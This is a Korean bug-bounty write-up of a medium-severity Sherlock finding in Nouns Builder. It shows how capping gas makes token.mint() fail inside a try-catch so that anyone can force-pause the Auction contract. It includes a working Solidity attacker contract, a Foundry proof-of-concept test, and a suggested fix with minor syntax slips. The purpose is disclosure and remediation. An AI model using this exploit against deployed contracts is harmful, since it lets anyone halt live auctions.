sherlock-2023-11-nouns-builder-m01
[M-01] Attacker can force pause the Auction contract
Summary
공격자가 Auction._CreateAuction() 함수의 try-catch에서 예외가 발생하면 경매 컨트랙트를 일시정지 한다는 점을 악용, 일부러 예외를 발생시켜 임의로 일시정지할 수 있다.
Keyword
dos, griefing attack, exception handling, gas limit
Vulnerability
경매를 낙찰하고 다음 경매를 시작하기 위해 settleCurrentAndCreateNewAuction를 호출한다. 이 함수는 누구나 호출 가능하다.
새로운 경매를 시작하는 _createAuction 함수는 try-catch를 사용하여 token.mint() 실패 시 경매 컨트랙트를 일시정지 시킨다.
function settleCurrentAndCreateNewAuction() external nonReentrant whenNotPaused {
_settleAuction();
@> _createAuction();
}
function _createAuction() private returns (bool) {
// Get the next token available for bidding
@> try token.mint() returns (uint256 tokenId) {
// Store the token id
...
return true;
} catch {
// Pause the contract if token minting failed
@> _pause();
return false;
}
}token.mint() 함수는 tokenId가 창립자에게 발행되기로 예약된 번호라면 이들까지 발행해주므로 1개의 NFT만 발행하지는 않는다. 따라서 많은 양의 가스를 사용할 수 있다.
현재 이더리움 및 EVM 호환 체인에서 call은 부모 가스의 최대 63/64를 소비할 수 있다(EIP150). 공격자는 63/64만큼의 가스로는 token.mint() 를 전부 처리할 수 없도록 가스 리밋을 설정하여 token.mint()를 실패하게 할 수 있다. 동시에 _pause() 호출은 성공할 수 있는 충분한 가스(1/64)를 남기면 마음대로 경매 컨트랙트를 강제로 일시정지할 수 있다.
가스 요구 사항(가스 호출의 1/64가 _pause() 가스 비용 21572만큼 되어야 함)에 따라 token.mint()는 최소 1359036 가스(63 * 21572)를 소비해야 하며, 따라서 51 이상의 높은 베스팅 비율을 가진 창립자가 있을 때(창립자 NFT를 다수 발행해야 할 때) 공격이 성립한다.
다음은 PoC 이다.
- 익스플로잇 컨트랙트
pragma solidity ^0.8.16; contract Attacker { function forcePause(address target) external { bytes4 selector = bytes4(keccak256("settleCurrentAndCreateNewAuction()")); assembly { let ptr := mload(0x40) mstore(ptr,selector) @> let success := call(1500000, target, 0, ptr, 4, 0, 0) } } } - PoC
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol"; import { MockERC721 } from "./utils/mocks/MockERC721.sol"; import { MockImpl } from "./utils/mocks/MockImpl.sol"; import { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol"; import { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol"; import { Auction } from "../src/auction/Auction.sol"; import { IAuction } from "../src/auction/IAuction.sol"; import { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol"; import { TokenTypesV2 } from "../src/token/types/TokenTypesV2.sol"; import { Attacker } from "./Attacker.sol"; contract AuctionTest is NounsBuilderTest { MockImpl internal mockImpl; Auction internal rewardImpl; Attacker internal attacker; address internal bidder1; address internal bidder2; address internal referral; uint16 internal builderRewardBPS = 300; uint16 internal referralRewardBPS = 400; function setUp() public virtual override { super.setUp(); bidder1 = vm.addr(0xB1); bidder2 = vm.addr(0xB2); vm.deal(bidder1, 100 ether); vm.deal(bidder2, 100 ether); mockImpl = new MockImpl(); rewardImpl = new Auction(address(manager), address(rewards), weth, builderRewardBPS, referralRewardBPS); attacker = new Attacker(); } function test_POC() public { // START OF SETUP address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; @> percents[0] = 99; vestingEnds[0] = 4 weeks; //Setting founder with high percentage ownership. setFounderParams(wallets, percents, vestingEnds); setMockTokenParams(); setMockAuctionParams(); setMockGovParams(); deploy(foundersArr, tokenParams, auctionParams, govParams); setMockMetadata(); // END OF SETUP // Start auction contract and do the first auction vm.prank(founder); auction.unpause(); vm.prank(bidder1); auction.createBid{ value: 0.420 ether }(99); vm.prank(bidder2); auction.createBid{ value: 1 ether }(99); // Move block.timestamp so auction can end. vm.warp(10 minutes + 1 seconds); //Attacker calls the auction attacker.forcePause(address(auction)); //Check that auction was paused. assertEq(auction.paused(), true); } }
Impact
공격자가 임의로 경매 컨트랙트를 일시정지 시켜 방해할 수 있다.
Mitigation
정확히 특정 에러가 발생하여 취소된 경우에만 일시정지 하도록 에러 핸들링을 구체화한다.
function _createAuction() private returns (bool) {
// Get the next token available for bidding
try token.mint() returns (uint256 tokenId) {
//CODE OMMITED
} catch (bytes memory err) {
// On production consider pre-calculating the hash values to save gas
@> if (keccak256(abi.encodeWithSignature("NO_METADATA_GENERATED()")) == keccak256(err)) {
_pause();
return false
@> } else if (keccak256(abi.encodeWithSignature("ALREADY_MINTED()") == keccak256(err))) {
_pause();
return false
} else {
revert OUT_OF_GAS();
}
}
}tags: bughunting, nouns dao, smart contract, solidity, dos, griefing attack, solidity exception handling, gas limit, severity medium, erc150